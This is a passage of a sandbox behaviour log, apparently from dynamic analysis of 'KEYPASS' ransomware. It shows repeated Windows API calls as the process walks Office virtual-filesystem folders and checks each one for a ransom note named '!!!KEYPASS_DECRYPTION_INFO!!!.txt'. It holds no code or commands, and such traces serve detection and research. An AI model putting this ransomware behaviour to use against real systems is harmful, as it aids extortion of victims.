lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.089] GetLastError () returned 0x3f0 [0270.089] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.089] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.142] GetFileType (hFile=0xec4) returned 0x1 [0270.143] CloseHandle (hObject=0xec4) returned 1 [0270.155] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0270.155] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.155] GetLastError () returned 0x3f0 [0270.155] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.155] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.160] GetFileType (hFile=0xecc) returned 0x1 [0270.161] CloseHandle (hObject=0xecc) returned 1 [0270.162] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.162] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.162] GetLastError () returned 0x3f0 [0270.162] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.162] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.162] GetFileType (hFile=0xed0) returned 0x1 [0270.163] CloseHandle (hObject=0xed0) returned 1 [0270.164] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.164] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.164] GetLastError () returned 0x3f0 [0270.164] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.164] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.165] GetFileType (hFile=0xed4) returned 0x1 [0270.166] CloseHandle (hObject=0xed4) returned 1 [0270.166] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.166] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.166] GetLastError () returned 0x3f0 [0270.167] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.167] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.168] GetFileType (hFile=0xed8) returned 0x1 [0270.169] CloseHandle (hObject=0xed8) returned 1 [0270.169] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.169] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.169] GetLastError () returned 0x3f0 [0270.169] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.169] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.169] GetFileType (hFile=0xedc) returned 0x1 [0270.170] CloseHandle (hObject=0xedc) returned 1 [0270.170] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.170] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.170] GetLastError () returned 0x3f0 [0270.170] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.170] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.171] GetFileType (hFile=0xee0) returned 0x1 [0270.172] CloseHandle (hObject=0xee0) returned 1 [0270.172] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.172] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.172] GetLastError () returned 0x3f0 [0270.173] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.173] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\140\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.174] GetFileType (hFile=0xec8) returned 0x1 [0270.175] CloseHandle (hObject=0xec8) returned 1 [0270.175] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0270.175] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.175] GetLastError () returned 0x3f0 [0270.175] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.175] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.176] GetFileType (hFile=0xee4) returned 0x1 [0270.177] CloseHandle (hObject=0xee4) returned 1 [0270.178] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.178] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.178] GetLastError () returned 0x3f0 [0270.178] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.178] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.178] GetFileType (hFile=0xee8) returned 0x1 [0270.179] CloseHandle (hObject=0xee8) returned 1 [0270.180] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.180] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.180] GetLastError () returned 0x3f0 [0270.180] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.180] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.181] GetFileType (hFile=0xeec) returned 0x1 [0270.182] CloseHandle (hObject=0xeec) returned 1 [0270.182] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.182] GetLastError () returned 0x3f0 [0270.182] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.182] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.184] GetFileType (hFile=0xef0) returned 0x1 [0270.185] CloseHandle (hObject=0xef0) returned 1 [0270.185] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.185] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.185] GetLastError () returned 0x3f0 [0270.185] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.185] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.186] GetFileType (hFile=0xef4) returned 0x1 [0270.187] CloseHandle (hObject=0xef4) returned 1 [0270.187] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0270.187] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.187] GetLastError () returned 0x3f0 [0270.188] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.188] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.189] GetFileType (hFile=0xefc) returned 0x1 [0270.190] CloseHandle (hObject=0xefc) returned 1 [0270.190] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.190] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.190] GetLastError () returned 0x3f0 [0270.190] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.190] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.191] GetFileType (hFile=0xf00) returned 0x1 [0270.192] CloseHandle (hObject=0xf00) returned 1 [0270.192] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0270.192] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.192] GetLastError () returned 0x3f0 [0270.192] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.192] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.194] GetFileType (hFile=0xf04) returned 0x1 [0270.195] CloseHandle (hObject=0xf04) returned 1 [0270.196] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0270.196] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.196] GetLastError () returned 0x3f0 [0270.196] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.196] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.395] GetFileType (hFile=0xef8) returned 0x1 [0270.396] CloseHandle (hObject=0xef8) returned 1 [0270.397] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0270.397] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.397] GetLastError () returned 0x3f0 [0270.397] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.397] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.398] GetFileType (hFile=0xf08) returned 0x1 [0270.398] CloseHandle (hObject=0xf08) returned 1 [0270.399] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0270.399] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.399] GetLastError () returned 0x3f0 [0270.399] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.399] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.400] GetFileType (hFile=0xf0c) returned 0x1 [0270.401] CloseHandle (hObject=0xf0c) returned 1 [0270.401] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.401] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.401] GetLastError () returned 0x3f0 [0270.401] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.401] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.403] GetFileType (hFile=0xf10) returned 0x1 [0270.404] CloseHandle (hObject=0xf10) returned 1 [0270.404] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.404] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.404] GetLastError () returned 0x3f0 [0270.404] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.404] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.428] GetFileType (hFile=0xf14) returned 0x1 [0270.429] CloseHandle (hObject=0xf14) returned 1 [0270.429] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.429] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4fd0050 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.429] GetLastError () returned 0x3f0 [0270.429] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.429] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.431] GetFileType (hFile=0xf18) returned 0x1 [0270.432] CloseHandle (hObject=0xf18) returned 1 [0270.432] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0270.432] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.432] GetLastError () returned 0x3f0 [0270.432] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.432] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.841] GetFileType (hFile=0xf1c) returned 0x1 [0270.842] CloseHandle (hObject=0xf1c) returned 1 [0270.842] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.842] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.842] GetLastError () returned 0x3f0 [0270.842] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.842] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.843] GetFileType (hFile=0xf20) returned 0x1 [0270.844] CloseHandle (hObject=0xf20) returned 1 [0270.845] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.845] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.845] GetLastError () returned 0x3f0 [0270.845] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.845] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.845] GetFileType (hFile=0xf24) returned 0x1 [0270.846] CloseHandle (hObject=0xf24) returned 1 [0270.846] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.846] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.846] 